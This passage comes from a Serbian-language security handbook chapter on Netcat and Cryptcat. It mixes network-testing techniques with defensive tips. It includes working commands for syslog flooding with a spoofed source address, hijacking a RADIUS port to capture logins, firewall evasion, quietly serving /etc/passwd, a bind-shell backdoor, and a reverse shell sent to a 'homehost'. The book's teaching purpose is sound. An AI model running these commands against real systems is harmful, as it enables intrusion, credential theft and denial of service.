liniju kako ne bi bio blokiran ~ekaju}i na standardan unos od korisnika. Ukoliko prosto
pokrenete: nc 192.168.1.100 20-80, ne}ete otkriti mnogo, jer }e se blokirati na prvoj konekciji
(verovatno web server koji slu{a port 80) i onda }e ~ekati na Va{u reakciju. Zato morate da
smislite ne{to da bi ste odgovorili na sve ove servise kako bi ih ubedili da nam ka`u ne{to vi{e o
sebi. Kako ispada, govore}i servisima da prekinu (eng. QUIT) stvarno ih dovodi do zabune, i u
porcesu oni }e otvoriti svoje du{e.

Hajde da probamo protiv portova 21 (FTP), 22 (SSH-Secure Shell-obezbedi komandno


okru`enje) i porta 80 (HTTP) i videti {ta }e nam serveri re}i.

[root@originix nc]# echo QUIT | ./nc -v 192.168.1.100 21 22 80


originix [192.168.1.100] 21 (ftp) open
220 originix FTP server (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999)
ready.
221 Goodbye.
originix [192.168.1.100] 22 (ssh) open
SSH-2.0-OpenSSH_2.3.Opl
Protocol mismatch.
originix [192.168.1.100] 80 (www) open
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>501 Method Not Implemented</TITLE>
</HEAD><BODY>
<H1>Method Not Implemented</H1>
QUIT to /index.html not supported.<P>
Invalid method in request QUIT<P>
<HR>
<ADRESS>Apache/1.3.14 Server at 127.0.0.1 Port 80</ADRESS>
</BODY></HTML>
[root@originix nc]#

SAVET
Zapamtite da kada automatizujete konekcije ka vi{e portova, koristite barem jednu -v opciju kako biste
odvojili jednu konekciju od druge. Tako|e, ako automatizujete konekcije ka vi{e portova i jedan od njih je
telnet server, morate da koristite -t ako `elite da pro|ete binarne nesta{luke (t.j. pregovaranje o telnet
opcijama). Obi~no je dobra ideja da presko~ite port 23 i pristupite mu zasebno. n

14

O
Netcat i Cryptcat POGLAVLJE 1

Izlaz nije lep, ali sada znamo verzije ova tri servisa. Haker mo`e koristiti ovo da potra`i starije
verzije servisa koji su osetljivi na exploite (http://www.securityfocus.com/ je odli~no mesto
gde mo`ete na}i informacije o osetljivim verzijama servisa). Haker koji prona|e posebno intere-
santan port mogao bi da dobije jo{ i vi{e informacija fokusiraju}i se na te servise i poku{avaju}i
da govori njihovim jezikom.

Hajde da se fokusiramo na Apache Web server. QUIT nije komanda koju taj HTTP razume.
Poku{ajmo da mu ka`emo ne{to {to bi mogao shvatiti.

[root@originix nc]# ./nc -v 192.168.1.100 80


originix [192.168.1.100] 80 (www) open
GET / HTTP
HTTP/1.1 200 OK
Date: Tue, 12 Feb 2002 09:43:07 GMT
Server: Apache/1.3.14 (Unix) (Red-Hat/Linux)
Last-Modified: Sat, 05 Aug 2000 04:39:51 GMT
ETag: "3al07-24-398b9a97"
Accept-Ranges: bytes
Content-Length: 36
Connection: close
Content-Type: text/html
I don't think you meant go here.
[root@originix nc]#

[to je ovo fino! Razmenili smo malo osnovnog HTTP-a (postavljaju}i GET / HTTP komandu i
onda pritiskanjem ENTER dva puta) i Apache je odgovorio. Omogu}io nam je da vidimo osnovnu
index.html stranu sa svim HTTP zaglavljima netaknutim i bez interpretacija na nivou aplikacija
{to bi ina~e Web pretra`iva~ u~inio. A Server zaglavlje nam govori ne samo da radi Apache na
Unix sistemu, nego da radi na RedHat Linux sistemu.

SAVET
Imajte ne{to na umu. Sistem administratori mogu i}i dotle da sami promene izvorni kod da bi izmenili ove
tipove reklama ne bi li dali la`nu informaciju. To mo`e zadati dosta muke, ali administratori bar mogu imati
utehu u ~injenici da se obmane ovog tipa de{avaju, uvek ostavljaju}i hakera u nedoumici da li stvarno mo`e
verovati informacijama koje prima. n

Komunikacija sa UDP uslugama


Pomenuli smo kako je ponekad Netcat predvi|en kao ni{ta vi{e do jedan slavljeni telnet klijent.
Mada je ta~no da ve}ina stvari koje Netcat radi (kao {to je razmena HTTP-a direktno sa serverom)
mo`e biti zavr{ena koriste}i telnet, telnet poseduje puno limitacija koje Netcat nema. Pre svega,
telnet ne mo`e vr{iti dobro transfer binarnih podataka. Neke od podataka ne mo`e interpretirati
kao telnet opcije. Zato, telnet Vam ne nudi stvarno transportni sloj ~istih podataka. Drugo, telnet
zatvara konekciju ~im njegov ulaz dostigne EOF. Netcat }e ostati otvoren dok se mre`na strana
ne zatvori, {to je korisno za upotrebu skripta u inicijaciji konekcija koje o~ekuju velike koli~ine
primljenih podataka kada {alju samo jednu liniju ulaza. Me|utim, verovatno najbolja osobina
Netcat-a koju ima nad telnet-om je da Netcat govori UDP.

15

O
DEO I Multifunkcionalni alati

[anse su da ste pokrenuli syslog demon na Va{em UNIX sistemu-zar ne? Ako je Va{ syslog
konfigurisan da prima poruke sa drugih hostova na Va{oj mre`i, vide}ete ne{to na UDP portu
514 kada postavite: netstat -a -n komandu. (Ukoliko ne, pogledajte syslogd man stranu o
tome kako da pokrenete syslog u mre`nom modu). Jedan od na~ina da utvrdite da li syslog
prihvata UDP pakete je da poku{ate ga da pratite i onda vidite da li se ne{to pojavljuje u logu:

[root@originix nc]# echo "<0>I can speak syslog" | ./nc -u 192.168.1.100 514

Message from syslogd@originix at Tue Feb 12 06:07:48 2002 ...


originix I can speak syslog
punt!
[root@originix nc]#

<0> zna~i najvi{i syslog nivo, kern.emerg, nazna~avaju}i da bi ova poruka trebala biti napisana
negde na sistemu. (pogledajte Va{ /etc/syslog.conf fajlda biste znali ta~no gde). A ako proverite
kernel log, trebali biste videti ne{to otprilike ovako:

Feb 12 06:00:22 originix kernel: Symbols match kernel version 2.2.12.


Feb 12 06:00:22 originix kernel: Loaded 18 symbols from 5 modules.
Feb 12 06:00:22 originix I can speak syslog

SAVET
Ukoliko pokrenete UDP Netcat sesiju ka portu i po{aljete neki ulaz, a onda Netcat odmah iza|e posle pri-
tiska na ENTER, verovatno ni{ta ne radi na tom UDP portu. n

Voila. Ovo je dobar na~in da utvrdite da li udaljeni UDP serveri rade. I ako neki radi sa
neobezbe|enim syslog-om, ostavlja sebe otvorenim za vrlo prost napad koji mo`e napuniti
prostor na disku, pojesti propusni opseg mre`e, prebukirati CPU vreme itd.

[root@originix nc]# yes "<20>blahblahblah" | nc -s 10.0.0.1 - u targethost 514

Yes komanda izbacuje string (obezbe|en u komandnoj liniji) ponovo i ponovo sve dok se
proces ne uni{ti. Ovo }e poplaviti syslog demon na ciljnom hostu sa "blahblahblah" porukama.
Napada~ ~ak mo`e koristiti i la`nu IP adresu (-s 10.0.0.1) jer su odgovori syslog demona
bezna~ajni.

SAVET
Ukoliko postanete `rtva ovakvog napada, najaktuelnija syslogd verzija sadr`i opciju komandne linije
(FreeBSD syslogd koristi -a) za ograni~avanje hostova sa kojih mogu biti poslati syslog podaci. Osim ako
ne dolazite sa jednog od domena sa te liste , syslogd }e Vas jednostavno ignorisati. Me|utim, zato {to
Netcat mo`e varati izvornu IP adresu sa lako}om u ovom slu~aju, napada~ bi mogao pogoditi ispravnu IP
adresu sa Va{e liste i vratiti Vas nazad gde ste i bili. Blokiranje dolaze}eg syslog saobra}aja preko mre`nih
barijera je uvek najsigurniji ulog. n

16

O
Netcat i Cryptcat POGLAVLJE 1

Smestite prijatelju: IP varanje


IP varanje je obavijeno velom misterije. ^esto }ete ~uti: "Kako znamo da je to stvarno njihova
adresa?" [ta ukoliko varaju?" Zapravo, mo`e biti veoma te{ko varati IP adresu. Mo`da bi trebali
da refraziramo: Varanje IP adrese je lako. Mre`ne barijere koje rade la`iranje ili prevod mre`ne
adrese (NAT) varaju IP adresu svakodnevno. Ovi ure|aji mogu uzeti paket od interne IP adrese,
promene izvornu IP adresu u paketu svojom IP adresom, po{alju ga na mre`u i poni{te modi-
fikaciju kada prime podatke nazad sa destinacije. Pa, promena sadr`aja izvorne IP adrese u IP
paketu je lako. Ono {to je te{ko je primanje bilo kakvih podataka nazad ka Va{oj la`noj IP adresi.

Netcat nudi -s opciju, koja Vam omogu}ava da specificirate IP adresu koju god `elite. Neko mo`e
zapo~eti skeniranje porta protiv nekoga i iskoristiti -s opciju da bi naveo metu da pomisli da je
skenira Microsoft ili Federal Bureau of Investigation (FBI). Problem se javlja, ina~e, kada `elite da
se odgovor sa skeniranja portova sa skrivenom IP adresom vrate Va{oj realnoj IP adresi. Zato {to
je ciljni domen primio zahtev za konekciju od Microsoft-a, na primer, poku{a}e da po{alje
zahvalnicu Microsoft-ovom IP-u. IP }e, naravno, bez ikakve ideje o ~emu ciljani host govori
poslati reset. Kako vratiti informacije realnom IP-u bez mogu}nosti otkrivanja?

Osim da zapravo hakujemo ma{inu kojoj treba smestiti, jedina druga mogu}a opcija je da
koristimo rutiranje izvora. Rutiranje izvora omogu}ava mre`noj aplikaciji da nazna~i rutu kojom
bi `elela da do|e do destinacije.

Postoje dva tipa rutiranja izvora: striktno i labavo. Striktno rutiranje izvora zna~i da paket mora
nazna~iti svaki skok u ruti do destinacionog domena. Neki ruteri i mre`ni ure|aji jo{ uvek
dozvoljavaju striktno rutiranje izvora, ali samo nekoliko bi jo{ uvek dozvolilo labavo rutiranje
izvora. Labavo rutiranje izvora govori ruteru i mre`nim ure|ajima da ruteri mogu da urade ve}inu
rutiranja do destinacionog domena, ali tako|e govori da paket mora pro}i kroz nazna~eni set
rutera na svom putu do destinacije. Ovo je opasno, jer mo`e omogu}iti hakeru da po{alje paket
kroz ma{inu koju kontroli{e (mo`da ma{inu koja vr{i promenu IP adrese dolaze}eg paketa na
adresu nekog drugog). Kada se odgovor vrati, ponovo }e imati istu opciju labavog rutiranja
izvora i vrati}e se nazad kroz nesta{nu ma{inu (koja onda mo`e vratiti "pravu" IP adresu). Ovom
metodom, rutiranje izvora mo`e omogu}iti napada~u da izvr{i obmanu IP adrese i ipak dobije
odgovor nazad. Ve}ina rutera ignori{e opcije rutiranja izvora, ali ne svi.

Netcatova-g opcija Vam omogu}ava da obezbedite do osam skokova koje paket mora pro}i pre
nego {to stigne na destinaciju. Na primer: nc -g 10.10.4.5 -g 10.10.5.8 -g 10.10.7.4 -g 10.10.
9.9 10.10.9.50 23 }e kontaktirati telnet port na 10.10.9.50 ali ukoliko je opcija rutiranja izvora
omogu}ena na me|u ruterima, saobra}aj }e biti primoran da pro|e preko ove ~etiri lokacije pre
nego {to stigne na destinaciju. Da smo poku{ali: nc -g 10.10.4.5 -g 10.10.5.8 -g 10.10.7.4 -g
10.10.9.9 -G 12 10.10.9.50 23, specificiramo pokaziva~ skoka kori{}enjem -G opcije u ovoj
komandi. -G }e postaviti pokaziva~ skoka na n-ti bajt (u ovom slu~aju dvanesti), i zato {to su IP
adrese 4 bajta svaka, pokaziva~ skoka }e po~eti na 10.10.9.50, saobra}aj }e morati da ide jedino
preko poslednje dve ma{ine (jer smo, prema pokaziva~u skoka, ve} bili na prve dve). Na povratnom
putu, me|utim, paket }e pro}i kroz sve ove ~etiri ma{ine.

Ukoliko Va{i ruteri i mre`ni ure|aji nisu pode{eni da ignori{u opciju rutiranja izvornog IP-a, na
sre}u, sistem za detekciju upada pazi na njih (snort, IDS , koje pokrivamo u poglavlju 14, rade
ovo standardno). Svako ko pokrene analizer saobra}aja kao {to je Ethereal, mogao bi sa lako}om

17

O
DEO I Multifunkcionalni alati

da uo~i varanje rutiranjem izvora, jer }e deo opcija IP zaglavlja biti ve}i od normalnog i IP adresa
u rut listi }e biti jasno vidljiva kori{}enjem ASCII dekodera. Ukoliko je to va`no sistem
administratorima, u}i }e u trag vlasniku svake IP adrese u listi u poku{aju da na|u krivca. Pa, da
sumiramo, sme{tanje nekom drugom, za lo{e pona{anje na mre`i je lako. Stvarno pretvaranje da
ste neko drugi je, ipak, ne{to te`e. U oba slu~aja Netcat Vam mo`e pomo}i.

Otimanje servisa
Ulogujte se na Va{ omiljeni sistem i pokrenite komandu netstat -a -n. Potra`ite pri vrhu izlaza
stavke koje oslu{kuju. Trebali biste videti ne{to ovako:

Proto Recv-Q Send-Q Local Address Foreign Address (state)


tcp4 0 0 *.6000 *.* LISTEN
tcp4 0 0 *.80 *.* LISTEN
tcp4 0 0 *.22 *.* LISTEN
tcp4 0 0 *.23 *.* LISTEN
tcp4 0 0 *.21 *.* LISTEN
tcp4 0 0 *.512 *.* LISTEN
tcp4 0 0 *.513 *.* LISTEN
tcp4 0 0 *.514 *.* LISTEN

Poslednja tri r-servisa (rlogin, rexec, itd.), {to bi bilo odli~no otkri}e za bilo kog hakera jer su
veoma nebezbedni. Tako|e mo`ete videti da telnet, FTP, X Windows, Web i SSH jo{ uvek rade.
Ali, {ta jo{ vredi primetiti? Prime}ujete kako svaka stavka navodi * za lokalnu adresu? Ovo zna~i
da se svi ovi servisi nisu vezali za specifi~nu IP adresu. Pa {ta? Kako ispada, mnoge IP klijent
implementacije }e prvo poku{ati da kontaktiraju servis oslu{kuju}i specifi~ne IP adrese pre
kontaktiranja servisa oslu{kivanjem na svim IP adresama. Probajte ovu komandu:

[root@originix nc]# ./nc -l -v -s 192.168.1.102 -p 6000

Sada jo{ jednom pokrenite Netstat. Trebali biste videti ovo:

Proto Recv-Q Send-Q Local Address Foreign Address (state)


tcp4 0 0 192.168.1.102.6000 *.* LISTEN
tcp4 0 0 *.6000 *.* LISTEN

Pogledajte Vi to! Sada slu{ate pre X servera. Da ste imali glavni pristup na sistemu, mogli biste da
oslu{kujete portove ni`e od 1024 i otimate stvari kao {to je telnet, Web, i druge izvore. Ali puno
interesantnih autentifikacija od tre}ih lica, deljenje fajlova i druge aplikacije koriste vi{e portove.
Regularni korisnik na Va{em sistemu (nazva}emo ga "joeuser") mo`e, na primer oteti RADIUS
server (koji uglavnom slu{a na portu 1645 ili 1812 UDP) i pokrenuti Netcat komandu sa -o
opcijom da bi dobio heksadecimalni oblik svih poku{aja logova. On je uhvatio samo odre|enu
koli~inu korisni~kih imena i {ifara bez ~ak i potrebe za root pristupom na sistemu. Naravno, ne}e
potrajati dugo dok se korisnici ne po`ale da servis ne odgovara i aktivnost joeusera }e biti otkrive-
na. Ali ako bar malo zna ne{to o servisu koji otima, mogao bi da prevari servis (kao la`iranjem
odgovora) ili ~ak pro|e kroz servis nekog drugog.

[root@originix nc]# ./nc -l -u -s 192.168.1.100 -p 1812 -e nc_to_radius

18

O
Netcat i Cryptcat POGLAVLJE 1

Nc_to_radius je skript komandnog okru`enja i izgleda ovako:

#!/bin/sh
DATE='date "+%Y-%m-%d_%H.%M.%S"`
/usr/bin/nc -o hexlog-$DATE slave-radius 1812

slave-radius je ime hosta sekundarnog RADIUS servera na mre`i. Postavljaju}i oslu{kuju}i


Netcat u petlju tako da se ponovo pokrene na svaku konekciju, ova tehnika bi teoretski trebala
da omogu}i joeuseru da uhvati sve tipove login informacija (svaka sesija u pojedina~nom fajlu)
istovremeno onemogu}avaju}i bilo koga da u tom trenutku do|e do saznanja da ne{to nije kako
treba. Jednostavno }e snimiti informacije dok ih usmerava ka bekup RADIUS serveru. Ovo bi bilo
dosta te{ko u~initi da radi konzistentno, ali je u opsegu mogu}eg.

SAVET
Ovakvo pona{anje ne}e nu`no raditi sa svakim operativnim sistemom (kernel) na svakom sistemu jer su
mnogi od njih zatvorili ovu odre|enu "petlja-rupu" u sastavu soketa. Testiranje i eksperimenisanje je obi~no
potrebno da bi se utvrdilo da li }e ili ne}e raditi. Na primer, nismo bili u mogu}nosti da otmemo servis na
RedHat Linux 6.1 sistemu koji je pokretao standardnu instalaciju 2.2.12 verzije kernela. Otimanje servisa je
radilo sasvim dobro na FreeBSD 4.3-BETA sistemu, ali samo ukoliko smo imali root privilegije. n

Proksiji i releji
Mo`ete koristiti istu tehniku primenjenu u prethodnom delu da biste kreirali Netcat proksije i
releje. Netcat koji oslu{kuje mo`e biti upotrebljen da zapo~ne drugu Netcat konekciju ka
razli~itom hostu ili portu, kreiraju}i relej.

Upotreba ove osobine zahteva ne{to poznavanja skripta. Iz razloga {to Netcat-ova -e opcija
prihvata samo jednu komandu (bez argumnata komandne linije), morate da spakujete bilo koju
ili sve komande koje `elite da pokrenete u skript. Mo`ete se i poigrati s ovim, kreiraju}i relej koji
premo{}uje nekoliko razli~itih domena. Tehnika mo`e biti iskori{}ena za kreiranje kompleksnog
"tunela", omogu}avaju}i hakeru da ote`a sistem administratoru da mu u|e u trag.

Ova mogu}nost mo`e biti kori{}ena i u dobre svrhe, naravno. Na primer, relej osobina mo`e
dozvoliti Netcat-u da vr{i funkciju proksija web stranama. Postavite ga da oslu{kuje na portu 80
na drugom sistemu omogu}ite mu da stvara sve Va{e Web konekcije (uz pomo} skripta) i
prosledite ih.

Izbegavanje port filtera


Kada biste bili haker, Netcat bi mogao biti iskori{}en da pomogne oko zaobila`enja mre`nih
barijera. La`no prikazivanje nedozvoljenog saobra}aja kao dozvoljeni je jedini na~in da
zaobi|ete mre`ne barijere i port filtere. Neke mre`ne barijere omogu}avaju dolaze}i saobra}aj od
izvornog porta 20 sa visokim destinacionim portom na internoj mre`i da bi omogu}io FTP.
Pokretanje napada koriste}i: nc -p 20 targethost 6000 mo`e Vam omogu}iti pristup ciljnom
domenu X servera ukoliko je mre`na barijera lo{e konfigurisana. Mogao bi pretpostaviti da je
Va{a konekcija dolaze}i paket FTP podataka i propustiti Vas. Najverovatnije }ete biti u
mogu}nosti da pristupite samo odre|enom podskupu portova. Ve}ina administratora mre`nih
barijera eksplicitno elimini{e opseg portova 6000 sa liste dostupnih u ovom scenariju, ali }ete jo{

19

O
DEO I Multifunkcionalni alati

uvek mo}i da na|ete druge servise iznad 1024 sa kojima mo`ete da komunicirate dolaze}i sa
izvornog porta 20.

DNS poseduje sli~ne teme. Skoro sve mre`ne barijere moraju dozvoliti odlaze}i DNS ali ne
nu`no i dolaze}i DNS. Ako ste iza mre`ne barijere koja dozvoljava oba, mo`ete iskoristiti ovu
~injenicu da propustite nedozvoljeni saobra}aj kroz mre`nu barijeru daju}i joj izvorni port 53.
Iza barijere, pokretanje: nc -p 53 targethost 9898 mo`e Vam omogu}iti da zobi|ete filter koji
bi normalno blokirao odlaze}i America Online (AOL) Instant Messenger saobra}aj. Mora}ete biti
lukavi sa ovim, ali mo`ete videti kako Netcat mo`e iskoristiti labavo napisana pravila mre`nih
barijera. Sistem administratori }e `eleti da izvr{e provere za odre|enim rupama kao {to je ova. Za
po~etnike, mo`ete jednostavno zabraniti bilo kakav DNS TCP saobra}aj, {to }e isklju~iti ve}inu
DNS port filter problema. Primoravaju}i korisnike da koriste pasivni FTP, koji ne zahteva od
servera da inicira konekciju nazad do klijenta na TCP portu 20, omogu}ava Vam da elimini{ete
ovu rupu.

Izgradnja kanala podataka: napravite svoj sopstveni FTP


Netcat Vam omogu}ava da izgradite kanale podataka. Koje benificije ovo donosi?

TRANSFER FAJLOVA KROZ PORT FILTERE DDPostavljaju}i ulazne i izlazne fajlove na svaki kraj
kanala podataka, mo`ete efektivno poslati ili kopirati fajl sa jedne mre`ne lokacije na drugu bez
kori{}enja bilo kog tipa "zvani~nog" fajl transfer protokola. Ako posedujete pristup komandnom
okru`enju sistema ali niste u mogu}nosti da inicirate bilo kakav fajl transfer jer prot filteri bloki-
raju FTP, NFS (Network File System) i Sambu, imate alternativu. Na strani gde se nalazi originalni
fajl, pokrenite ovo:

nc -l -u -p 55555 < fajl_koji_zelimo

i sa klijenta poku{ajte:

nc -u - targethost 55555 > kopija_fajla

Uspostavljanje konekcije }e odmah preneti fajl. Iza|ite sa EOF-om (Ctrl-C) i Va{ fajl bi trebao biti
netaknut.

PRIKRIVENI FAJL TRANSFER DDHakeri mogu koristiti Netcat za transfer fajlova sa sistema bez
kreiranja bilo kakvog uo~ljivog traga. Gde FTP i Secure Copy (scp) mogu ostaviti logove, Netcat
to ne ~ini.

nc -l -u -p 55555 < /etc/passwd

Kada se haker pove`e na taj UDP port, dohvata /etc/passwd fajl bez i~ijeg znanja (osim ako je
toliko nesre}an da je poku{ao u trenutku kada je sistem administrator pokrenuo ps (stanja proce-
sa) ili netstat komandu).

20

O
Netcat i Cryptcat POGLAVLJE 1

DOHVATI IZLAZ APLIKACIJE DDHajde da Vas ponovo stavimo u ko`u hakera. Recimo da ste
napisali skript koji prenosi neki od va`nih sistemskih fajlova na standardni izlaz (passwd, group,
inetd.conf, hosts.allow itd.) i pokre}e nekoliko sistemskih komandi za skupljanje informacija
(uname, ps, netstat). Nazovimo ovaj skript "sysinfo." Na meti mo`ete uraditi jedno od slede}eg:

nc -l -u -p 55555 -e sysinfo

ili

sysinfo | nc -l -u -p 55555

Mo`ete dohvatiti izlaz komande i zapisati ga u fajl pod imenom sysinfo.txt koriste}i:

nc -u target 55555 > sysinfo.txt

U ~emu je razlika? Obe komande prihvataju izlaz sysinfo skripta i kanali{u ga ka slu{aju}em
Netcat-u kako bi on poslao podatke preko mre`nog kanala onome s kim je god povezan. -e
opcija "predaje" I/O aplikacji koju izvr{ava. Kada je Sysinfo zavr{io sa svojim I/O (kod EOF-a),
slu{alac se zatvara, a to ~ini i klijent na drugom kraju. Ukoliko je sysinfo kanalisan, izlaz od
sysinfo-a jo{ uvek putuje do klijenta, ali Netcat jo{ uvek rukuje I/O-om. Klijent strana ne}e prim-
iti EOF i ~eka}e da vidi da li slu{alac ima jo{ ne{to za slanje.

Isto se mo`e re}i i za obrnuti primer. [a ako ste na ciljnoj ma{ini i `elite da inicirate konekciju ka
Netcat slu{aoca na Va{em li~nom domenu? Ako Netcat oslu{kuje na doma}em hostu posle pokre-
tanja komande: nc -l -p 55555 > sysinfo.txt, opet imate dve opcije:

nc -u -e sysinfo homehost 55555

ili

sysinfo | nc -u homehost 55555

SAVET
Na Unix sistemima, ako se komanda koju `elite da pokrenete -e opcijom na nalazi u trenutnom radnom
direktorijumu kada pokrenete Netcat, treba}ete da specificirate punu putanju komande. Windows Netcat
mo`e, s druge strane, iskoristiti %PATH% promenljivu tako da ne poseduje ove limitacije. n

Razlika je opet, ta {to kori{}enje kanala zahteva da klijent ostane otvoren i po{to sysinfo je zavr{io
sa slanjem izlaza. Kori{}enje -e opcije }e zatvoriti Netcat klijent odmah kada sysinfo zavr{i.
Razlika izme|u ova dva moda postaje izuzetno o~igledna kad zapravo `elite da pokrenete
aplikaciju na udaljenom hostu i prosledite I/O kroz Netcat kanal podataka (kao u "Pribavljanje
udaljenog pristupa komandnom okru`enju" sekciji).

DOHVATITE KONTROLU APLIKACIJE DDU "Pribavljanje udaljenog pristupa komandnom


okru`enju" opisali smo kako da pokrenete udaljeno komandno okru`enje na Windows platformi.
Isto mo`e biti ura|eno na Unix ma{ini:

nc -u -l -p 55555 -e /bin/sh

21

O
DEO I Multifunkcionalni alati

Pove`ite se koriste}i: nc -u targethost 55555. Shell (/bin/sh) se pojavljuje i omogu}ava Vam


da vr{ite interakcije s tim {elom preko kanala. -e opcija daje I/O kontrolu kompletno shell-u.
Imajte na umu da bi ova komanda trebala biti deo beskona~ne while petlje u skriptu ako biste
`eleli da ovaj bekdor ostane otvoren po{to napustite komandno okru`enje (shell). Posle izlaska
iz shell-a, Netcat }e zatvoriti obe strane ~im je /bin/sh zavr{en. Netcat verzija za Windows snalazi
se sa ovim koriste}i -L opciju.

Kao {to ste mogli i u prethodnom primeru, mo`ete poslati I/O kontrolu lokalne aplikacije Netcat-u
koji slu{a (nc -u -l -p 55555) kucaju}i slede}e:

nc -u -e /bin/sh homehost 55555

I mo`ete uraditi ovo sa bilo kojom interaktivnom aplikacijom koja radi samo na tekstualnom
nivou bez bilo kakvih stilskih terminal opcija (na primer, vi text editor ne}e raditi dobro).

SAVET
Verovatno ne biste `eleli da koristite telnet klijent za povezivanje sa Va{im Netcat-om u oslu{kuju}em
modu, jer telnet opcije mogu napraviti pravi haos u funkcionisanju Va{eg shell-a. Umesto toga koristite
Netcat u klijent modu. n

Postavljanje zamke
Ovo mo`e biti zabavno obeshrabrenje za "hakere" koji bi to hteli da budu. Pokretanjem Netcatat-a
u prislu{nom modu na dobro poznatom portu gde bi haker mogao o~ekivati da na|e osetljivi
servis, mo`ete navesti hakera da pomisli da ste pokrenuli ne{to {to, u stvari, niste. Ako to lepo
podesite, mo`ete ~ak biti i u mogu}nosti da uhvatite hakera.

[root@originix nc]# ./nc -l -v -e fakemail.pl -p 25 >> traplog.txt

Va{ fakemail skript bi mogao odaslati neki izlaz kako bi rekao svetu da radi "swiss-cheese"
verzija alata za slanje po{te i prakti~no moli mladog hakera da do|e i provali u sistem. Do
terminacije konekcije (EOF), Va{ skript bi trebao da ponovo pokrene istu Netcat komandu. Ali
ukoliko neko po~ne da bude previ{e znati`eljan, skript bi mogao koristiti yes komandu da bi pre-
plavio napada~a sa bilo kakvim sme}em koje izaberete. ^ak iako volite da budete suptilniji,
mo`ete bar dobiti listu IP adresa koje se ka~e sa Vama u traplog.txt.

Testiranje mre`ne opreme


Ne}emo potro{iti puno vremena ovde. Mo`ete koristiti Netcat da postavite slu{aoce na jedan kraj
mre`e i poku{ati da se pove`ete na njih sa drugog kraja. Mo`ete testirati mnoge mre`ne ure|aje
(rutere, mre`ne barijere itd.) na povezivost tako {to }ete videti koje vrste saobra}aja mo`ete
provu}i. I, po{to Vam Netcat omogu}ava da la`irate izvornu IP adresu, mo`ete ~ak proveriti i
mre`ne barijere zasnovane na IP-u tako da ne morate provoditi vi{e vreme pitaju}i se da li Va{a
mre`na barijera stvarno radi ono {to bi trebao.

Tako|e mo`ete korisiti -g opciju za poku{aj rutiranja izvora protiv Va{e mre`e. Ve}ina mre`nih
ure|aja trebala bi biti konfigurisana da ignori{u opcije rutiranja izvora, jer njihova upotreba nika-
da nije opravdana.

22

O
Netcat i Cryptcat POGLAVLJE 1

Sami kreirajte Va{!


Netcat izvorni tarbol dolazi sa nekoliko shell skripta i C programa koji demonstriraju ~ak i jo{
mogu}ih upotreba za Netcat. Sa ne{to programerskog iskustva, mo`ete izvu}i i ve}u kilometra`u
iz Netcat-a. Pogledajte README fajl kao i neke od primera u "data" i "scripts" poddirektorijumi-
ma. Mogu Vas navesti da porazmislite i o nekim drugim stvarima koje mo`ete da uradite.

CRYPTCAT
Cryptcat je upravo ono {to i pi{e u nazivu: Netcat sa enkripcijom. Sada mo`ete enkriptovati kanal
podataka, proksi ili relej. Hakeri mogu dr`ati Netcat saobra}aj sakriven, tako da administratori
nju{kala moraju uraditi vi{e od prostog pregleda mre`e da bi saznali ono {ta ste naumili.

Cryptcat koristi pobolj{anu verziju Twofish enkripcije. Argumenti komandne linije su isti.
O~igledno Cryptcat nije strahovito koristan za port skeniranje i komunikaciju sa drugim servisima
koji ne koriste istu enkripciju kao i sam Cryptcat. Ali ako Va{a upoteba Netcat-a uklju~uje
kopiju Netcat-a koja je pokrenuta negde u prislu{nom modu i odvojenu kopiju Netcat-a koja se
povezuje na onu prvu, Cryptcat Vam daje dodatne pogodnosti osiguravanja konekcije.

Mo`ete preuzeti Cryptcat sa http://farm9.com/.

23

O
blanko

You might also like